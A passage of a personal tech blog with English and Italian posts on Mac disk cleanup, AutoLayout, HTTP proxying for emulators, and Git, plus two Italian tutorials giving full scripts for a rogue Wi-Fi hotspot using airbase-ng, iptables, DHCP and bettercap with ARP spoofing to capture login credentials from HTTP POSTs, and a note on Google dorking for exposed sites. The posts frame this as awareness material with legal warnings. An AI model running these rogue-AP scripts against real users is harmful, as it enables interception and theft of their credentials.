OSX HD Cleanup for Developers

So you are an iOS Developer and Mac user, ain’t it? I’ll show you some tips I use to reclaim my HD space [=

As a Mac user you shold have TimeMachine enabled in order to keep your things backed-up .

You should know that Time Machine has by default the Automatic Backup enabled that takes some snapshots also on local storage waiting for a full backup on your external HD.

It’s show time, so open up a Terminal window!

To see these snapshots you do:

sudo tmutil listlocalsnapshots /
sudo tmutil listlocalsnapshots /
com.apple.TimeMachine.2018-10-02-150623
com.apple.TimeMachine.2018-10-03-120519
com.apple.TimeMachine.2018-10-03-130357
com.apple.TimeMachine.2018-10-03-140849
com.apple.TimeMachine.2018-10-03-150352

In order to delete a local snapshot you have to type:

sudo tmutil deletelocalsnapshots 2018-10-02-150623
sudo tmutil deletelocalsnapshots 2018-10-02-150623
Deleted local snapshot '2018-10-02-150623'

Were you used to disable localsnapshots, do you say?

With OSX High Sierra+ you cannot. (Without disabling automatic backups). Correct me if I’m wrong.

Anyway, if you need to reclaim some of your HD space you could delete all local snapshots in one shot:

sudo tmutil listlocalsnapshots / | sed 's/com.apple.TimeMachine.//g' | xargs -I % sudo tmutil deletelocalsnapshots %
$ sudo tmutil listlocalsnapshots / | sed 's/com.apple.TimeMachine.//g' | xargs -I % sudo tmutil deletelocalsnapshots %
Deleted local snapshot '2018-10-03-130357'
Deleted local snapshot '2018-10-03-140849'
Deleted local snapshot '2018-10-03-150352'
Deleted local snapshot '2018-10-03-160946'

Another trick you could use is to delete all the old Device Debug Support symbols that Xcode download every time you connect a new physial device to your Mac with a new iOS Version. So you will have, for example, debug symbols for 10.3, 10.3.1, 10.3.2, …, 11.0.0, 11.1.0, …, 11.4.1, … and so on.

This symbols are stored in the following directory:

~/Library/Developer/Xcode/iOS DeviceSupport/

Let’s check it out by entering the above directory and typing:

find . -type f -size +1G | xargs -I % du -h %

You sould see some big files (more than 1 giga):

find . -type f -size +1G | xargs -I % du -h %

1.0G ./11.3 (15E216)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.4 (15F79)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.3.1 (15E302)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.2.5 (15D60)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.4.1 (15G77)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.2.6 (15D100)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
If you need them no more… delete’em all! (or only the ones you need no more [=)
Hope this tips could be of any help to you. Let me know your tips if you do have different ones!
Bye!
OSX HD Cleanup for Developers

Guiding principles and commandments of AutoLayout

These very good principles have been taken from Udacity course.

Guiding principles

  • Stack views first, constrains later
  • Start small, or not at all
  • Work from the inside out
  • Trust the simulator or device only
  • Don’t panic

Seven commandments of AutoLayout

  1. Tweak the properties of the StackView
  2. Use another StackView
  3. Tweak the compression resistance or the hugging priority
  4. Add constraints to the StackView
  5. Add constraints to the views
  6. To connect views within different StackViews, use 5
  7. If everything else fails, use a filler view
Some other useful links:

WWDC 2017

WWDC 2016

WWDC 2015

Guiding principles and commandments of AutoLayout

iOS Simulator and Android Emulator HTTP Proxy

For iOS and Android developers, it’s very important inspecting HTTP/HTTPs traffic in order to have a better understanding of what’s happening during a debugging session.

During these years, setting a proxy for simulators (or emulators) has became more and more easy and today I’m pretty happy to show you how to do on your Mac.

On Windows you could, of course, set a proxy only for Android and I will write a dedicated post and we will use a different proxy program.

But for now we must focus on OS X.

What do we need to do that?

  • BurpSuite (HTTP proxy)
  • Android Studio (for Android developers)
  • XCode (for iOS developers)

Let’s download BurpSuite free edition from its official site: https://portswigger.net/burp/

After you have been installed the program, lunch it and choose “Temporary Project” and for this very first time “Choose Burp Default”.

Go to Proxy and then disable interception, then go to Proxy -> Option and check whether the standard proxy port is okay for your, otherwise change it with the edit button on the left.

I need to listen on port 8888 instead to port 8080 and for Android we need to add another rule for listen specifically to your Mac IP Address.

Your final configuration should look like that (except for the IPv4 192.168.1.2 because your machine should have another one).

Then if you wanna save your settings (except for the interception that must be removed every time you start Burp) you can go to Burp -> Project Options -> Save project options and save your settings so at the next start you can say Burp to load settings from the file you saved

Android

With BurpSuite running, open Android Studio and lunch your Emulator.

Open Emulator settings and use a manual configuration for proxy.

Set host as 192.168.1.2 and port as 8888. Save and close.

Open the Browser and go to 192.168.1.2:8888. We need to install the Proxy CA Certificate in order to listen to SSL traffic.

Click above on the right the CA certificate button and Download it.

If your version of Android lets you install it from the Download folder you can try to open it directly from there. Otherwise the path that works in any case is the following one.

Go to Downloads App and rename cacert.der in cacert.cer and move it on SD Card,

Then go to Settings -> Security -> Install from SD Card choose our certificate.

Then click on it and follow the instruction.

At the end open the Browser and navitgate to https://www.google.it and you can now sniff your HTTP and also HTTPS traffic.

We have left a very final step to do, and It’s to enable proxy also to our Data Connection on the Emulator. This because we wanna sniff traffic of our Apps and not only of the Browser.

And finally if you have a web call on your Application you can easily inspect it.

Pay attention to the Filter section (the red arrow highlights it) in which by default Burp filter CSS, images, etc. If you want to see also this HTTP calls you must enable it by clicking on the filter section and check the right choices.

I hope this could help you, as an Android Developer, debugging all your Rest API.

UPDATE: As of targeting SDK API 24 or higher you must follow this configuration for your Android APK in order to be able to sniff SSL Traffic: trusting debug CA.

NOTE: on Windows the procedure is exactly the same if you use always Burp Suite. But on Windows environment I prefer to use Fiddler from Telerik (http://www.telerik.com/fiddler). You have to do a litte change in Fiddler regarding the CA Certificate, I hope to write a post soon.

iOS

iOS Simulator has not a specific settings section for Proxy. It uses the System Proxy, so that we have to set the proxy directly on the Advanced Settings of our current network interface.

Go to System Preferences -> Network and choose your current interface, click Advanced and go to Proxy tab to set Proxy settings. In this case, differently from Android, you could use the localhost address.

Set the same configuration either for HTTP and for HTTPS. Ok and Save.

Now let’s try:

It works! The only drawback is that having set a global system proxy, we proxy all the traffic of our Mac, not only the one of the simulator like for Android.

Note: If you test, like me, an image HTTP Request, check the Filter section of BurpSuite and opt-in for images too because, by default, images are filter out. The Filter section is just below “HTTP history” tab. You have only to click on it to expand its configurations.

Also in our iOS simulator in order to be able to sniff HTTPS traffic we need to install BurpSuite CA Certificate.

Similarly as we have done for the Android emulator we must open the browser and navitagate to http://127.0.0.1:8888 and install the certificate.

Here the process it’s simpler but on iOS 11 we need to do one more thing. Enable the Full Trust from the About Settings menu.

And it works!

So we have finished our setup. We can now start coding happier!

NOTE: of course you can set a proxy also on a real device. If you do that (the proxy settings are on the netwok configuration of the device you use) remember that the device and the PC where is the proxy must belong to the same Network and they must be reachable from each other.
Moreover if you wanna sniff the SSL traffic you must install the CA Certificate of the proxy but that exposes your device to the MITM Attack (it’s that what we do here, we act like a Man In The Middle) if you use it in your real life. So… remember to remove the certificate once done.

iOS Simulator and Android Emulator HTTP Proxy

Coding Pills: clipboard ring and toggle comment

Unfortunally I’ve got the flue, so I’m here at home, alone (not so alone, cats are with me), with some time to spend. Fortunally I still have a blog where to write! 🙂

Sorry guys, I’ve been very busy these times and that’s the reason why I took so long to write again. But I’m here and with your big surprise (or not) I’m writing in English.

So, just to start, I wanna write a little post with two very useful tips that I’ve found many programmers doesn’t know, but I think they should.

And those tips are:

  • Clipboard ring
  • Toggle comment

Clipboard Ring

Microsoft calls it Clipboard Ring but, for example the smart guys at JetBrains call it Clipboard History.

What’s it? Actually Visual Studio and for example IntelliJ remembers all code you have copied not only the last one.

With Ctrl+V (Cmd+V) you just obtain the last copied code, but with Ctrl+Shift+V (Windows) or Cmd+Shift+V (Mac) you could cycle around all the previous copies you have done!

Toggle Comment

The toggle comment could be usefull for fast prototyping or fast debugging when you are not sure which choice to do and are evaluating between two alternatives leaving code cleaning for the future.

The block is that:

//* this is your toggle (state on)
<uncommented code>
/*/
<commented code>
//*/

-----

/* this is your toggle (state off)
<commented code>
/*/
<uncommented code>
//*/

And here a live example:

Coding Pills: clipboard ring and toggle comment

Try this ONLY at home #2 – Rouge AP – Sniffing http traffic

Poiché l’articolo sul Wi-Fi sniffing è piaciuto molto, mi è stato chiesto anche un articolo che spiegasse la cosa in modo più approfondito utilizzando questa volta una scheda Wi-Fi esterna e la macchina virtuale di Kali Linux.

Cosa ci servere?

1. Una scheda wireless che supporti il  “Monitore Mode”

Ce ne sono tante e da tutti i prezzi. Io ne utilizzo due:

– TP-LINK TL-WN722N che è solo sulla banda 2.4Ghz
– ALFA AWUS051NH v.2 che è sia 2.4GHz che 5Ghz.

Questo tutorial parte dal fatto che la scheda integrata sul vostro PC non sia in grado di andare in Monitor Mode e quindi utilizziate una ulteriore adattatore Wi-Fi esterno. Ad esempio uno dei due presentati sopra. Kali Linux ha già tutti i driver e quindi l’utilizzo di una di queste due schede non richiede l’installazione di software/driver aggiuntivi.

2. La macchina VirtualBox o VMWare di Kali Linux

La potete scaricare dal sito di Offensive Security.

Io utilizzo quella Virtual Box a 64 bit (full, non light). Se volete seguire questo tutorial dovete anche voi scaricare quella full così abbiamo già gli stessi tool preinstallati ed andremo ad aggiungere solo quelli mancanti.


Mi raccomando una volta scaricata controllate la firma sha-256 che su linux e osx potete fare con il comando shasum mentre su Windows potete farlo con SevenZip che, molti non lo sanno, nel menù contestuale vi mette la possibilità di fare l’hash con algoritmo sha di qualunque file.

Fatta partire la macchina virutale vi presenterà il prompt di login. Le credenziali di default sono:

user: root
password: toor

3. Gli script del tutorial

Per l’occasione ho anche messo su GitHub un repository con gli script che utilizzeremo in questo articolo. Lo trovate qui.

Se siete connessi col cavo di rete prendete gli script direttamente dalla cartella rouge_ap altrimenti se siete connessi con la scheda Wi-Fi del vostro PC allora prendete gli script presenti all’interno della cartella wlan0wlan1.

Avete preso nota di tutto?

Okay Partiamo.

Quindi fatta partire la macchina virtuale la prima cosa da fare è il clone del repository

git clone https://github.com/shadowsheep1/tutorials.git

Spostatevi nella cartella rouge_ap o rouge_ap/wlan0wlan1 a seconda della vostra configurazione.

Io mi sposterò nella cartella rouge_ap perché anche se questa volta sono collegato con la scheda Wi-Fi del PC, tale scheda sulla macchina virtuale è sempre vista come interfaccia eth0.

Poi colleghiamo la scheda di rete Wi-Fi USB esterna e tramite VirtualBox connettiamola alla nostra macchina virtuale Kali.

E con un dmesg vediamo che l’hardware è stato riconosciuto

Abbiamo ora la nostra bella interfaccia wlan0 con cui andare a fare l’Access Point Malevolo.

Ora installiamo un server DHCP, perché vogliamo dare ai nostri client una configurazione differente rispetto alla nostra. Solo per aggiungere un po’ di know how al tutorial. Potremmo anche lasciare che il DHCP lo faccia il nostro router.

Per questo tutorial installiamo isc-dhcp-server.

apt-get update && \
apt-get install isc-dhcp-server && \
dhcpd --version

Poi ci server sempre Bettercap.

Le istruzioni per installarlo le trovate sul sito ufficiale.

Il metedo più pulito per l’installazione di bettercap è utilizzare gem.

Quindi:

apt-get update && \
gem install bettercap && \
bettercap --version

Bene abbiamo tutto! 🙂

Possiamo partire con i nostri scritpt.

01_setup_eth0.sh

echo "nameserver 8.8.8.8" > /etc/resolv.conf
cat /etc/resolv.conf
ping www.versionestabile.it -c 3

Questo script potete anche non eseguirlo se volete.

Non fa altro che configurare com server DNS quello di Google (è quasi sempre uno dei più aggiornti).

Ho voluto inserire questo script per chi non sapeva come configurare da riga di comando il server DNS della propria distribuzione linux.

02_setup_ap_wlan0.sh

airmon-ng check kill && \
airmon-ng start wlan0 && \
airbase-ng --essid "free-hostspot" -c1 wlan0mon

Questo script lo avete già laniciato anhe nel tutorial precedente e non fa altro che configurare l’hotspot Wi-Fi con SSID “free-hotspot”.

Lasciate ovviamente aperto questo terminale e apritene un’altro su cui lanciare gli script rimanenti.

03_setup_at0.sh

ifconfig at0 up && \
ifconfig at0 192.168.2.1/24

Questo script configura la scheda di rete logica dell’Access Point (come nel precedente tutorial) e gli assegna il primo indirizzo della rete 192.168.2.0/24.

04_setup_iptables.sh

iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -j ACCEPT
#iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888

Questo script configura le regole del firewall per il routing e il forwarding.

Una breve descrizione per chi è nuovo a iptables:

  • Il primo comando cancella tutte le regole per la rete del PC.
  • Il secondo comando cancella tutte le regole per la tabella NAT (Network Address Translation)
  • Il terzo comando cancella tutte le catene per la rete del PC.
  • Il quarto comando cancella tutte le catene per la tabella NAT.
  • Il quinto comando A(ggiunge) alla tabella NAT la regola di POSTrouting in cui tutti i pacchetti che vengono fatti uscire (-o) sull’interfaccia eth0 vengono mascherati, ovvero, fa in modo che i anche i pacchetti di una rete differente a quella del PC ma che passano attraverso di lui, vengano re-indirizzati sempre al nostro PC.
  • Il sesto comando A(aggiunge) alle regole della rete del PC il FORWARD dei pacchetti. Ovvero fa in modo che tutti i pacchetti non appartenenti alla rete del PC non vangano “droppati” (ignorati e scartati) ma vengano fatti passare secondo le regole di routing (POST e/o PRE) ipostate.
    L’ultimo comando l’ho commentato perchè lo fa già in automatico bettercap quando viene lanciato. Ovvero su tutti i pacchetti di tipo TCP sulla porta 80 non appartenenti alla rete di queto PC prima di farne il ROUTING vengono rediretti alla porta 8888 (dove ovviamente sarà in ascolto il nostro sniffer).

05_enable_fwd.sh

echo 1 > /proc/sys/net/ipv4/ip_forward
more /proc/sys/net/ipv4/ip_forward

Non basta configurare il firewall affinchè faccia il FORWARD dei pacchetti non appartenenti alla sua rete, ma occorre anche abilitare la cosa a livello di sistema operativo. E quello che fa questo script.

06_start_dhcp.sh

touch /var/lib/dhcp/dhcpd.leases 
dhcpd -cf ./dhcpd.conf

Facciamo partire il server DHCP con la configurazione che abbiamo preparato nel nostro file  dhcp.conf.

Prima crea (se non esiste) il file database dei lease, perchè se non c’è il server si arrabbia (non so perchè non lo crei, magari c’è un comando, ma non avendo mai avuto problemi facendo prima il touch, non ho indagato in merito).

#ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}

Questo file configura come si deve comportare il nostro server DHCP.

In particolare a tutti i dispositivi che richiedono la configurazione di rete (quelli che si collegano al nostro Access Point) diamo come IP quelli della rete 192.168.2.0/24 a partire dal .51 fino al .100 (quindi ne accettiamo 50, bastano?)

A voi lo studio e le prove di altre configurazioni 😉

07_bettercap.sh

bettercap --proxy --proxy-port 8888 -I at0 --no-spoofing --no-discovery -P POST --log bettercap.log

E infine lanciamo il nostro sniffer (quello del precedente tutorial).

Lo lanciamo come proxy sulla porta 8888, sull’interfaccia at0, senza fare ARP spoofing questa volta, senza ricerca dei dispositivi (li conosciamo bene 😉 ) con il parser sui log per le richieste http POST e salvando il log nel file “bettercap.log”.

Adesso il mio buon vecchio iPhone5 abbocca e la storia la conoscete bene 😉

Vediamo il nostro free-hotspot

Ci colleghiamo e una volta collegati se clicchiamo sull’icona delle informazioni (i) vediamo che l’iPhone5 da bravo ci dice che la rete è insicura (ma nessuno mai ci bada, tanto abituati siamo negli aereoporti o stazioni ad avere hotstpot senza password).

E vediamo anche che il nostro server DHCP si è comportato bene dando al dispositivo la configurazione IP che gli avevamo detto di dare 😉

CONCLUSIONI

Siamo arrivati alle conclusioni. Innazitutto non smetterò mai di ripeterlo, questo post è solo divulgativo per imparare a conoscere come funzionano le cose in questi casi. Non va fatto mai assolutamente (è REATO) una cosa del genere in pubblico.

Poi pensate. Una volta che avete l’Access Point malevolo, avete visto che configurando il vostro PC in maniera opportuna, siete i completi detentori del traffico di quel dispositivo.

Mettiamo ora il caso, per esempio di voler anche redirigere le richieste di Google o Facebook  (parliamo di Web e non di App) su un sito che risiede sul nostro PC e che si presenta in maniera identica ai loro. Qui dopo che l’utente ha inserito il suo nome utente e la sua password ce le salviamo e redirigiamo il traffico verso i siti reali. Ovviamente è REATO e illegale, ma lo diciamo sempre e solo per renderci conto della pericolosità della cosa nel caso dietro ad un Free-Hotspot ci sia un malintenzionato.

Quindi pensateci sempre due volte prima di collegarvi ad un hotspot senza password, e se potete navigate con la connessione dati 3G/4G del cellulare!

Spero che anche questo articolo vi sia piaciuto. Alla prossima!

Try this ONLY at home #2 – Rouge AP – Sniffing http traffic

Google hacking and Exploits database

Per chi non sapesse cos’è il Google Hacking, non è nulla di illecito e nonostante il termine, non si deve essere degli esperti per poterlo fare.

Per Google Hacking si intende semplicemente l’utilizzo del motore di ricerca Google per trovare siti web “bucati” (vuoi perché messi online da amministratori improvvisati, vuoi perché messi online da amministratori di mestiere ma sbadati…).

Ovviamente qualcosa di avanzato lo si deve conoscere, ma parlo delle keyword (parole chiave) che si possono utilizzare nella barra di ricerca in Google:

La cosiddetta Ricerca Avanzata di Google è descritta anche sul loro sito: Google Advanced Search. Non le descrive tutte in realtà… ce ne sono molte di più.

Molte sono nascoste dietro a questa from per la ricerca avanzata direttamente su Google. Scegliete il tipo di ricerca che volete fare e premete “Ricerca avanzata”.

Ad esempio nell’immagine sopra ho selezionato termini che compaiono nel titolo della pagina e premuto “Ricerca Avanzata”.

E sono stato rediretto qui:

Dove Google mi ha già detto quale keyword utilizzare.

Quindi volendo cercare tutti i siti che hanno la parola “blog” nel titolo della pagina, basterà cercare

allintitle:blog

Okay. Ora avete la conoscenza. Avete studiato la teoria.

Quindi occorre ora fare un po’ di pratica.

Ma facciamo una pratica divertente. Ovvero facciamo prima pratica con le “best practice” della ricerca di Google Avanzata.

Le best practice le andiamo a prendere su Exploit-DB, un sito web manutenuto dai ragazzi di Offensive-Security (quelli di Kali Linux) dove sono manutenuti tutti gli Exploit conosciuti ad oggi, i codici shell code da utilizzare nei vostri exploit dei test casalinghi ovviamente 🙂

Se notate bene, nel menu c’è una bella sezione “Google Hacking Database“.

Bene, non teniamo la pipì e andiamo a farla subito. Clicchiamo nella sezione Google Hacking Database.

Scegliamo dal menù del contadino a km 0 quello che ci piace di più. Io ora scelgo:
Sensitive Directories

Lo so che state già leggendo le altre possibilità…

Bene, andate avanti voi, ma ricordate il detto.

Fatti i fatti tuoi, campi cent'anni.

Oh, se fossi un hacker o un phisher quasi quasi potrei anche mettere su un directory listing su un sito web apposta perché venga indicizzato da google e aspettare che qualcuno scarichi il mio virus per la curiosità… Quindi occhio ragazzi! 😉

 

Google hacking and Exploits database

Wayback Machine – Internet Archive

Oggi parliamo di Wayback Machine, che nonostante sia online da tanto (prima come Archive.org) non tutti la conoscono ancora. Sicuramente è online dal 1997…

Questa immagine è presa direttamente dal loro archivio 🙂

archive.org nel 1997
archive.org nel 1997

Ebbene, se non lo sapete, loro fanno la copia di tutti i siti web (che non bloccano i loro bot) e ne tengono un archivio storico.

Quindi è uno strumento utilissimo per la “memoria storica del web”.

E’ un sito che ha dei drawback ovviamente: può essere utile a chi cerca una vecchia versione del suo sito, ma allo stesso modo qualcuno che aveva pubblicato per sbaglio informazioni sensibili e poi le ha cancellate, potrebbe averle ancora attive qui! 😀

Volete sapere come era Amazon.com il 17 Ottobre del 2000? Ehm… non così all’avanguardia come oggi:

amazon.com 17 ottobre 2000
amazon.com 17 ottobre 2000

E questo nel 2003 🙂

amazon.com 10 dicembre 2003
amazon.com 10 dicembre 2003

Beh! Insomma… avete capito l’antifona… ne volete ancora una? Non siete andati a guardare da soli!!!

Allora… ecco facebook.com nel 2005…

facebook.com nel 2005
facebook.com nel 2005

Ed ecco google nel 2005!

Ovviamente se uno non lo sa e quindi prendere provvedimenti, il fatto che informazioni sensibili e poi tolte vengano archiviate può essere un problema…

Ad esempio tutti quei siti di “doxing” contenenti informazioni sensibili sui VIP per esempio, possono ancora trovarsi qui senza bisogno di andare nel Dark Web, alla ricerca di quelle informazioni.

Okay, per questo breve articolo mi fermo qui, ma ne seguirà un altro il cui argomento riguarderà Google Hacking e Exploit pubblici.

Alla prossima!

Wayback Machine – Internet Archive

Do this ONLY at home – WiFi Sniffing

E’ incredibile, come ancora nel 2017 ci siano siti che gestiscono dati e credenziali di milioni di utenti e che non abbiano l’accesso solo tramite HTTPS e implementato l’HSTS… ma questa è un’altra storia.

Oggi vedremo, per questi siti che ancora oggi o non hanno l’HTTPS o se ce l’hanno non hanno l’HSTS, come sia possibile (e facile) sniffare le credenziali degli utilizzatori che accedono ai loro servizi via web!!!

Per fare questo occorre una distribuzione linux con già installati alcuni strumenti.

Per l’occasione io consiglio Kali linux – https://www.kali.org/

Scegliete voi se installarla in dual boot o con una macchina virutale (io consiglio il dual boot su Mac, che pare proprio innocuo e fornisce già la scheda wireless che può andare in monitor mode).

Quale dei due PC sembra più minaccioso? 🙂

Infatti per poter eseguire il test dovete avere una scheda Wi-Fi che consente di essere messa in “monitor mode“.

Un MacBook Air Mid 2012 o una Alfa Card, vanno benissimo. Ma ci sono tante altre schede di rete USB che possono andare bene, basta fare una ricerca online.

Io scelgo quindi l’HW più a sinistra nella foto, in quanto più innocuo (vedete il gatto come è tranquillo vicino ad esso?). Ovviamente non vi dovete immaginare sul lettino al mare con questo PC in questa configurazione. Ovviamente no!

A questo punto facciamo il boot di Kali linux e installiamo bettercap.

Bene siamo a posto… ^^’ non dovete installare più nulla.

Ah! Dimenticavo, poichè la scheda Wi-Fi la usiamo come Rouge-AP, dovremo avere anche una seconda connessione per connetterci in internet.

Possiamo utilizzare un adattatore USB-Eth per connettere il nostro Mac al nostro router di casa. Perché solo a casa vanno fatti questi test, mi raccomando.

Se invece vi state immaginando in un bar pubblico, allora vi dovete immaginare di collegare il tutto ad un router 3G o 4G con connettore RJ-45 (ma non immaginatelo!!!)

Okay.

Primo script dell’apprendista scr1pt k1dd13:

#!/bin/bash
airmon-ng check kill
airmon-ng start wlan0
airbase-ng -e "free-hostspot" -c1 wlan0mon

Salvate il codice bash soprastante in un file, rendetelo eseguibile e lanciatelo.

Salvatelo per vostro repertorio 😉

Questo vi creerà l’Access Point con un SSID “free-hostspot” sul canale 1 della frequenza 2.4GHz.

Secondo script dell’apprendista scr1pt k1dd13:

ifconfig at0
brctl addbr br1
brctl addif br1 eth0
brctl addif br1 at0
brctl show
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig br1 192.168.1.206/24 up
echo 1 > /proc/sys/net/ipv4/ip_forward
route add default gw 192.168.1.1

Anche qui salvate il codice bash soprastante in un file, rendetelo eseguibile e lanciatelo.

Questo script controlla l’intefaccia logica at0 dell’access point, che viene creata da airbase-ng quando creea l’Access Point.

Crea un bridge di nome “br1” e lo associa ad eth0 e at0.
Quindi queste due interfacce sono ora tra loro collegate.

Mostra la configurazione del bridge.

Setta ANY address ad eth0 e at0 e un indirizzo di rete (che non rientri nel DHCP) al bridge.

Abilita il routing (packet forwarding) sul sistema operativo.

Aggiunge nuovamente la default route (gateway) al sistema operativo.

Molto bene.

Ora lanciamo bettercap sull’interfaccia del bridge “br1” (-I br1) in proxy mode (–proxy) e col parser log sulle chiamate POST (-P POST).

Bettercap ci crea in automatico le regole del firewall (iptables) per il proxy e il routing.

E comincia a fare anche del gran ARP spoofing… perfino il PC Windows ne è rimasto travolto.

Ma per fortuna GlassWire mi ha avvertito! Vi ricordate l’articolo sui Firewall user friendly?

L’ARP spoofing in questa configurazione ci server per redirigere il traffico http verso di noi.

Poichè il traffico dell’hotspot risiede già sul nostro PC potremmo catturarlo anche senza ARP spoofing. Ma poichè la configurazione è più complessa, per lo scopo di questo articolo abbiamo scelto di non utilizzarla.

Finalmente qualcuno abbocca (il mio iPhone 5) al nostro bell’hostspot.
Potevo anche collegarmi con un altro PC al Wi-Fi, non sarebbe cambiato nulla.

Ovviamente veniamo avvistati, come per tutti gli hostspot liberi (senza password) dalla voce “Security Reccomendation” (io ho il cellulare in inglese). Ma ormai siamo abituati, perché ad esempio, anche in aereoporto abbiamo lo stesso avviso.

Navighiamo sul sito di libero.it e accediamo alla nostra casella via web.

Intanto notiamo già che non c’è la connessione sicura… niente HTTPS e lucchettino verde… vabbè, ma andiamo avanti. Facciamo il login… e sboom! Il nostro bettercap ci segnala bene bene le variabili POST del form di login.

Voilà! 🙂

Questo articolo non volevo neanche scriverlo, mi sembrava datato come argomento… ma quando questa sera ho riprovato e mi sono accorto che ancora con libero era così facile sniffare il login della loro posta, allora mi sono ripromesso di scrivere finalmente questo articolo.

Spero vi sia piaciuto, anche se scritto un po’ in fretta e a notte tarda! 😀

Alla prossima

 

Do this ONLY at home – WiFi Sniffing

Git branching and merging

Oggi mostreremo alcuni esempi veramente basilari di come usare il prompt di git per creare dei branch e fare dei merge.

Come sapete il Pro Git Book, scritto da Scott Chacon, è interamente leggibile online qui

Vi siete mai chiesti qual è la storia di Git? Qui un breve excursus. Ma quello ancora più interessante è che Git prende il nome sempre da Linus Torvalds. Dopo aver dato il proprio nome ad uno dei sistemi operativi più diffusi, ha voluto descrivere nel progetto di Version Control anche un’aspetto della sua personalità. Da qui nasce il termine Git che in slang sta a significare una persona “poco simpatica” 🙂 (Wikipedia, Urban Dictionary).

Bene dopo un po’ di storia, sempre divertente (molto spesso le persone utilizzano gli strumenti ma non si chiedono il perché del loro nome o da dove sono “arrivati”) passiamo alla pratica.

Bene creiamo la cartella “git_merge” e inizializziamo in essa un repository Git.

Creiamo quindi il file “hello.py” seguente:

#! /usr/bin/env python

def hello():
    print "Hello World!\n"

hello()

lo rendiamo eseguibile

chmod +x hello.py

e lo aggiungiamo al repository

git add hello.py
git commit -m 'added hello.py'

A questo punto creiamo un “branch” e lo chiamiamo “refactoring” e ci spostiamo in esso.

git branch refactoring
git checkout refactoring

e modifichiamo il file cambiamo il nome della funzione hello() in say_hello() e committiamo.

A questo punto decidiamo che il rename della funzione ci piace di più e vogliamo quindi fare il merge di ‘refactoring’ nel ‘master’.

git checkout master
git merge refactoring

In questo caso il merge è semplice e viene fatto il cosiddetto fast-forward. Ovvero master viene portato avanti nel nodo di refactoring. In parole povere il merge è automatico.

Visualizzando il grafico del log, non si vedono “rami” in quanto sia ‘master’ che ‘refactoring’ puntano allo stesso ‘nodo’ nella struttura dei commit.

Adesso, modifichiamo il file hello.py nel master aggiungendo il commento alla funzione say_hello()

Poi passiamo al branch refactoring in cui invece modifichiamo la funzione say_hello() in greetings() e aggiungiamo anche un parametro in ingresso.

A questo punto decidiamo di voler mettere il parametro in ingresso anche in master e quindi facciamo un merge.

git checkout master
git merge refactoring

E ta-dan! Git questa volta non riesce in automatico a risolvere i conflitti perché non sa quale sia la modifica che si vuole tenere e quale quella da eliminare.

Il file hello,py viene modificato nel seguente modo:

Cosa vediamo? 🙂

Una cosa che ci fa paura… allora digitiamo

git merge --abort

E tutto tornerà come prima.

Se invece vogliamo procedere al merge allora dobbiamo conoscere i seguenti simboli

<<<<<<<<

Da questo simbolo fino al successivo, vediamo il file presente nella HEAD del repository su cui siamo, in questo caso master. Abbiamo infatti il nostro commento alla funzione.

|||||||||

Da questo simbolo al successivo vi è la precedente versione del file (quella della commit precedente) rispetto al repository in cui ci troviamo, quindi master.

Quindi se guardiamo questa parte centrale e la parte in alto avremo le differenze tra il file corrente nel repository master e quello della commit precedente.

========

Da questo simbolo fino al successivo (ultimo) abbiamo il file del branch da cui vogliamo fare il merge, in questo caso: refactoring.

Quindi se guardiamo la parte centrale e la parte in basso avremo le differenze tra il file corrente nel branch e quello della commit precedente nel master.

>>>>>>>>

Tutto quello che sta fuori, è quello che Git ha deciso di tenere e non sta considerando come un conflitto.

 

Quindi… se vogliamo tenere il file nel master basta tenere la parte tra <<<<<< e |||||| e cancellare tutto il resto compresi questi simboli.

Se vogliamo tenere il file del branch refactoring basta tenere la parte tra ====== e >>>>>> e cancellare tutto il resto compresi questi simboli.

Se invece, come faremo, vogliamo tenere un po’ di una parte e un po’ dell’altra, andremo ad integrare la parte centrale con le aggiunte (o riscrivete il file, come vi piace di più) della parte sopra e della parte sotto.

Ecco alla fine come abbiamo modificato il file.

#! /usr/bin/env python

def greetings(who):
    """ Say hello to the World! """
    print "Hello, " + who

greetings("Fabio")

A questo punto facciamo la commit.

Fine 🙂

Da qui in poi invece leggete solo se siete curiosi.

Se quando abbiamo avuto dei conflitti avessimo voluto isolare le tre sezioni in file differenti per poi farne i diff tra di loro, avremmo potuto eseguire i seguenti comandi:

git show :1:hello.py > hello.base.py
git show :2:hello.py > hello.head.py
git show :3:hello.py > hello.refactoring.py

A questo punto se volete fare il diff tra di loro si può fare per esempio:

git diff --no-index hello.base.py hello.refactorug.py

E una volta terminata la vostra correzione dei conflitti nel file hello.py potete pulire tutto con

git clean -f

Okay, okay… voi utilizzate il tool grafico, ma… sapere come funziona sotto non è bello?! 😀

Git branching and merging

Git bash diff explained

In uno dei nostri articoli precedenti su Git abbiamo spiegato come avere una bash Git configurata secondo alcuni nostri ( miei 😛 ) gusti.

Anche oggi, volendo essere un po’ geek, andremo a sviscerare con attenzione come fare il diff con Git attraverso la linea di comando 🙂

Dai… è divertente! 🙂

Per prima cosa creiamo una cartella di prova sul nostro desktop e creiamoci un repository git:

Poi inseriamo un file (prendiamo l’html di example.org) e lo committiamo.

a questo punto lo apriamo con il nostro editor di testo preferito e ne facciamo alcune modifiche.

Quindi lanciamo il diff per quel file. Ecco che cosa verrà visualizzato (più o meno in base alle vostre modifiche)

Compared Files

Diff ci dice che sta comparando il file “a” che è example.org.txt con il file “b” che è sempre, in questo caso il file example.org.txt ma con le modifiche

File Metadata

Queste sono informazioni molto tecniche che dipendono da come Git identifica gli “oggetti” al suo interno (potete non considerarli per lo scopo di questo articolo)

a/b Identifiers 

